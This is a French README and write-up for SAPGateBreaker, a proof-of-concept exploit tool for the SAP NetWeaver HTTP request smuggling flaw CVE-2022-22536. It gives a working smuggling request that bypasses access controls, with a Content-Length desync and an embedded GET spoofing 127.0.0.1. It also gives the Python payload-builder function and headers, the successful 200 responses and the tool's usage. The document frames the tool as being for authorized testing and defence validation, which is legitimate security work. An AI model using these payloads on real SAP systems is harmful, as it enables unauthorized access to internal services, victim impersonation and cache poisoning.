becodoexploit-mrcat/sapgatebreaker-exploit
SAPGateBreaker est un exploit PoC pour CVE-2022-22536, une vulnérabilité critique de type HTTP Request Smuggling dans SAP NetWeaver. Il démontre comment contourner les ACL en désynchronisant l'analyse des requêtes entre l'ICM et les services backend à l'aide de charges utiles basées sur Content-Length.
SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 et SAP Web Dispatcher sont vulnérables à la contrebande de requêtes et à la concaténation de requêtes. Un attaquant non authentifié peut préfixer la requête d'une victime avec des données arbitraires. Ainsi, l'attaquant peut exécuter des fonctions en usurpant l'identité de la victime ou empoisonner les caches Web intermédiaires. Une attaque réussie peut entraîner une compromission totale de la confidentialité, de l'intégrité et de la disponibilité du système.
SAPGateBreaker est une preuve de concept (PoC) pour CVE-2022-22536, une vulnérabilité critique de contrebande de requêtes HTTP dans SAP NetWeaver. Il démontre comment contourner les listes de contrôle d'accès (ACL) en désynchronisant l'analyse des requêtes entre l'ICM et les services backend à l'aide de charges utiles spécialement conçues basées sur l'en-tête Content-Length.
La vulnérabilité identifiée sous le nom CVE-2022-22536 représente un défaut critique dans SAP NetWeaver Application Server, exposant les installations à des attaques de contrebande de requêtes HTTP. Cette vulnérabilité, avec un score CVSS de 9.8, affecte à la fois les piles Java et ABAP, permettant aux attaquants de contourner les mécanismes de contrôle d'accès et d'interagir avec les applications internes comme s'ils se trouvaient sur le réseau interne.
Comprendre la contrebande de requêtes HTTP
La contrebande de requêtes HTTP (HRS) est une technique avancée qui exploite les divergences dans la manière dont différents composants d'une infrastructure web (généralement les proxies, les équilibreurs de charge et les serveurs backend) interprètent les limites entre les requêtes HTTP. En manipulant des en-têtes comme Content-Length et Transfer-Encoding, un attaquant peut "introduire en contrebande" une requête malveillante qui est désynchronisée par rapport à ce que le serveur backend attend.
Essentiellement, lorsqu'un serveur frontal et un serveur backend ne sont pas d'accord sur l'endroit où une requête se termine et où la suivante commence, un attaquant peut injecter une seconde requête cachée qui sera traitée avec une confiance accrue. Cela entraîne souvent des contournements de sécurité tels que le contournement du WAF, l'empoisonnement du cache ou le contournement des ACL.
La nature de CVE-2022-22536
L'ICM (Internet Communication Manager) de SAP analyse incorrectement des requêtes HTTP spécialement conçues, permettant à une requête introduite en contrebande d'atteindre les services internes. Cela est particulièrement impactant dans les architectures segmentées, où l'accès direct aux services internes est restreint. L'exploitation de cette vulnérabilité permet aux attaquants d'émettre des requêtes qui semblent provenir du réseau interne de confiance.
La vulnérabilité se manifeste lorsqu'une charge utile exploite des interprétations conflictuelles de la fin d'une requête HTTP. Cela implique généralement l'injection d'un en-tête Transfer-Encoding: chunked ou la manipulation du champ Content-Length pour provoquer la désynchronisation.
Échecs initiaux des charges utiles et rejet du codage en morceaux
Lors des tests, les charges utiles utilisant les techniques classiques de contrebande en morceaux ont entraîné des réponses 408 Request Timeout de la part de l'ICM SAP. Ce comportement indique que la pile HTTP de SAP ne supporte pas Transfer-Encoding: chunked comme attendu, empêchant la désynchronisation traditionnelle basée sur les morceaux.
En conséquence, la méthodologie d'exploitation s'est tournée vers l'utilisation des en-têtes Content-Length pour la désynchronisation. Une requête spécialement conçue avec une charge utile en morceaux vide suivie d'une requête HTTP secondaire valide a réussi à contourner les limites des requêtes. Cette stratégie alternative s'est avérée efficace pour contourner les contrôles d'accès internes.
Stratégie finale d'exploitation et implémentation du code
L'exploit fonctionnel envoie une requête POST à un point de terminaison public (/sap/admin/public/default.html) avec un en-tête Content-Length, suivie d'une requête GET intégrée destinée à atteindre une ressource interne.
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128
0
GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close
Ce qui permet un accès interne réussi :
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive
L'implémentation parcourt une liste d'URLs SAP internes normalement restreintes. Une comparaison est effectuée entre le code de statut reçu via un accès direct et celui reçu via la requête introduite en contrebande. Si l'accès interne renvoie 200 (tandis que l'accès direct renvoie 403 ou 404), cela indique que la technique de contrebande a réussi à contourner les contrôles d'accès internes.
La logique pour construire la charge utile :
def build_smuggled_request(path):
return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"
L'attaque est exécutée en utilisant une requête POST spécialement conçue contenant la charge utile introduite en contrebande :
headers = {
"Host": f"{host}:{port}",
"Authorization": "Basic YTph",
"Cookie": "saplb_*=(J2EE7364720)7364750",
"Content-Type": "application/json",
"Content-Length": str(len(body.encode("utf-8")))
}
Résultats observés
Dans plusieurs cas de test, des points de terminaison tels que /sap/public/bc/icf/info ou /heapdump/, qui renvoyaient normalement 403 Forbidden ou 404 Not Found, ont répondu avec 200 OK lorsqu'ils étaient accédés via la requête introduite en contrebande. Cela démontre un contournement réussi des contrôles d'accès SAP.
La sortie de l'outil incluait à la fois les charges utiles envoyées et les en-têtes de réponse, permettant une validation forensique précise :
>>> Charge utile envoyée :
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...
>>> Réponse reçue :
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...
Requête normale :
Requête d'exploitation :
Conclusion
CVE-2022-22536 souligne la menace persistante que représente la contrebande de requêtes HTTP dans les piles logicielles d'entreprise modernes. La preuve de concept présentée est une démonstration de la vulnérabilité sous-jacente et sert d'outil pour la validation et les tests de défense.
Il est fortement conseillé aux administrateurs d'appliquer les mises à jour de sécurité SAP et de mettre en place des protections appropriées par proxy inverse pour empêcher la propagation de requêtes HTTP malformées.
Plus de détails sur CVE-2022-22536 sont disponibles à l'adresse : https://nvd.nist.gov/vuln/detail/CVE-2022-22536
Note de sécurité SAP : https://launchpad.support.sap.com/#/notes/3123396
SAPGateBreaker Exploit
SAPGateBreaker est un outil Python autonome qui automatise les tests pour CVE-2022-22536, une vulnérabilité critique de contrebande de requêtes HTTP dans SAP NetWeaver Application Server.
Utilisation
python3 sapgatebreaker.py -u http://<target-host>:<port> [--verbose]
Arguments :
-u, --url : URL cible (ex. http://172.32.22.7:50000)-v, --verbose : Active la sortie détaillée des en-têtes et du corps pour chaque requête et réponseFonctionnalités :
poc.txt pour une analyse ultérieureAvertissement
Cet outil est destiné uniquement à des fins éducatives et de tests d'intrusion autorisés. Toute utilisation non autorisée contre des systèmes sans autorisation explicite est strictement interdite et peut violer les lois applicables.